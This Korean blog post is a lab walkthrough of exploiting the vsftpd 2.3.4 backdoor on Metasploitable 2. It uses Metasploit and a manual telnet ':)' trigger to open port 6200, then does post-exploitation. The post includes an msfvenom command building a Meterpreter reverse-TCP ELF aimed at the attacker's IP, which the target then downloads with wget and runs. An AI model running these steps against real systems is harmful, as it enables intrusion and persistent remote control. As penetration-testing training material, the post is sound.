본문 바로가기

보안/모의해킹

vsftp 2.3.4 취약점 분석 ,Meterpreter를 이용한 백도어 설치(후속공격)

개요

vsftpd는 Very Secure FTP Daemon 의 약자로 유닉스,리눅스에서 사용되는 ftp 서버이다.

vsftp 2.3.4 취약점은 2011년 6월30일~2011년7월 1일 쯤 알려진 취약점이다.

 

해당 취약점의 원리는 telnet을 통해 웃음 이모티콘(smiley face) 을 통해 오픈된 포트가 열리면서 생기는 취약점이다

웃음 이모티콘이라 하면  아스키코드 0x3A 인  : , 아스키코드 0x29 인  )  해당 문자들로 이 두문자를 유저아이디로 입력을 하게 되면 6200 포트가 열리는 버그가 생기는 것이었다. 두개를 합치면 :)  옆으로 누운 웃음 이모티콘이다. 


후속공격 (post-exploitation)

후속 공격은 세션이 오픈 된 후 일어나는 모든 행동들을 말한다. 즉 exploit 이후 정보수집,지속성 유지 등을 말한다.

후속 공격을 해야 되는 이유는 osint, 포트 스캔 등을 통해 오랫동안 정보수집을 통해 초기 침투에 성공을 했지만

모종의 이유로 침투 경로에  기능이 꺼진다던지 , 보안 업데이트를 한다던지를 해버리면 초기 침투 한것들이

모두 날라갈수 있다.

그래서 초기 침투 이후 후속 공격 조치가 반드시 있어야 한다.

 

해당 게시물의 실습에서 후속 공격에 들어갈때 bind shell 과 reverse shell 의 개념에 이해가 필요하다

아래 링크는 해당 개념에 대해 설명한 글이니 잘 모른다면 한번 보고 오면 해당 게시물에 이해도가 높아 질 것이다.

https://adm1n1.tistory.com/76

 

Bind shell 과 Reverse shell

Bind shell vs reverse shell 해당 공격은 거의 똑같은 공격이지만 딱 하나의 차이로 분명하게 나눠진다. 바로 누가 누구에 컴퓨터에 접속을 했냐이다. 정확하게 말하자면 누가 포트를 열었는지 라고 볼

adm1n1.tistory.com

또한  해당 실습에서 정보 수집 부분은 아래 링크에서 했던 부분을 이어서 할것이기 때문에 정보수집은 따로 하지 않을 것이다.

https://adm1n1.tistory.com/75

 

Nessus 와 Metasploitable로 실습! / VNC 인증 정보 디폴트 취약점

출처:https://training.totalcyber.com/what-is-nessus/ 네서스(Nessus)는 오픈소스 취약점 스캐너이다. 사용자가 기업이 아니라면 무료로 이용할수 있는 스캐너 이다. 네트워크,DOS(Denial Of Service),웹 등의 취약점

adm1n1.tistory.com

 

vsftp 2.3.4  취약점을 이용하여 bind shell 로 침투를 하고

후속 공격(post-exploitation) 으로다가 reverse shell 로 다시 접속을 해볼 것이다.


실습 환경

PC1

OS: kali linux

IP: 192.168.180. 147

 

PC2

OS: Linux (matasploitable V2 )

IP:192.168.180.149


실습

취약점 탐지

우리는 이전에 nessus를 통해 타겟 (PC2)을 스캔을 통해 취약점을 알아냈다.

nessus에서 알아낸 취약점 중 하나인 vsftp 취약점을 이용을 할 것이다

nessus에서 아쉬운점은 모의해킹 관점에서 스캔 결과를 나타내지 못하는 점이 존재한다.

vsftpd 2.3.4 버전이라는 것을 알아냈지만 해당 버전은 심각한 취약점이지만 취약점 상 중 하 이 레벨에 들어가지도 못하고

그저 info로 버전 정보를 알수 있는 정도로 나타냈다.

 

아무튼 해당 취약점을  exploit-db.com에서 검색에 의하면 해당 취약점은 백도어가 존재하는 심각한 취약점이었다

 

침투 실습1(메타스폴로이드 방식 )

matasploit을 실행을 한다

search 를 이용해서 vsftp 취약점을 찾는다 

2가지 공격방법이 있지만 description 내용을 보니 두번째 공격을 사용하면 될 것이다.

그래서 use 1

set RHOST 를 이용해서 타겟의 IP를 설정해둔다

show options을 통해 타겟의 ip 설정이 제대로 됐는지 확인 할수 있다.

exploit 으로 바로 침투를 한다

캡쳐 사진에 맨 아랫줄을 보면  192.168.180.149에는 6200 포트가 존재 하지 않았지만 vsftp 취약점을 이용해 6200 포트를 열었고 6200포트로 침투를 했다 (bind shell)

 

침투 실습 2 (클래식 방식)

침투실습 1 을 이미 했다면 PC2(metasploitable)을 재시작을 해야 한다

# telnet 타겟ip 21

접속이 됐으면

user 아무문자:)

반드시 맨끝에 :) 를 붙여줘야한다 이게 포인트이다!

pass 아무문자

필자에 경우 hello 와 world를 아무문자로 넣었다.

그리고

CTRL + ] 를 눌러주고

quit 을 해서 나와 준다

 

그리고 telnet을 6200 포트로 연결을 하면 된다.

#telnet 타겟ip 6200

그러면 접속이 되는데  모든 명령문에는 뒤에 ; (세미콜론)으로 마무리를 해줘야한다.


 

후속공격

msfveonm을 이용해서 악성코드를 생성 하고 타겟이 해당 악성코드로 인해 백도어가 설치 될것이다.

원래  msfpayload로 악성코드 생성 msfencode로 악성코드 인코딩으로 백신 우회

이런식으로 따로따로 쓰였으나 지금은 msfvenom으로 한번에 쓰인다.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.180.147 LPORT=3232 -f elf>back.elf

우리는 리버스 쉘을 이용 할것이기 때문에 LHOST에 IP 주소는 칼리(PC1) 공격자 IP로 설정을 해두었다.

이제 back.elf  악성 코드 파일이 생성 되었다.

elf 파일은 윈도우에서 exe 같은 실행 파일이다. 

 

이제 이 악성코드를 타겟이 실행을 시켜야 하는데 파일을 타겟에게 주는 방법은 매우 많겠지만 

공격자(PC1)가  웹서버를 켜서 타겟이 웹서버에 접속을 해 다운 받는 식으로 할 것이다. 

아파치 (웹서버) 실행

악성코드를 웹서버에 위치 시킨다.

 

그리고 이제 타겟이 악성코드를 실행 시키기 전에 악성코드에 설정해둔 포트를 열고 기다릴 것이다.

metasploit 실행

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

3232 포트와 자신의 IP로 설정을 한다.

exploit을 통해 3232 포트를 열어둔채 대기를 한다.

 

이제 다시 bind shell 했던 터미널로 돌아가 악성코드를 다운 받을 것이다

wget을 통해 http 로 접속을 하고 다운로드를 받는다.

back.elf를 실행시킨다 

즉 타겟이 공격자가 열어둔 포트에 접속을 한 셈이다.

 

타겟이 악성코드를 실행 시키자 meterpreter로 실행이 되었다

reverse shell 까지 모두 성공이다.


취약점 원리

vsftp 2.3.4 의 소스를 보면 이렇다

str.c

 

vsftpd 실행할 때 username에서 string 값을 받을때 

else if((p_str->p_buf[i] ==0x3a)&&(p_str->p_buf[i+1]==0x29))부분으로 인해 

\x3a\x29\로 시작하는 아스키코드 즉 문자로 해석하면 :) 인 값을 받으면

vsf_sysutil_extra()를 실행을 한다.

sysdeputil.c

sa.sin_port= htons(6200) 는 백도어 포트를 6200번을 연다는 것이고

모든 명령문은 execl("/bin/sh","sh",(char *)0); 기능을 통해 전달이 된다.

반응형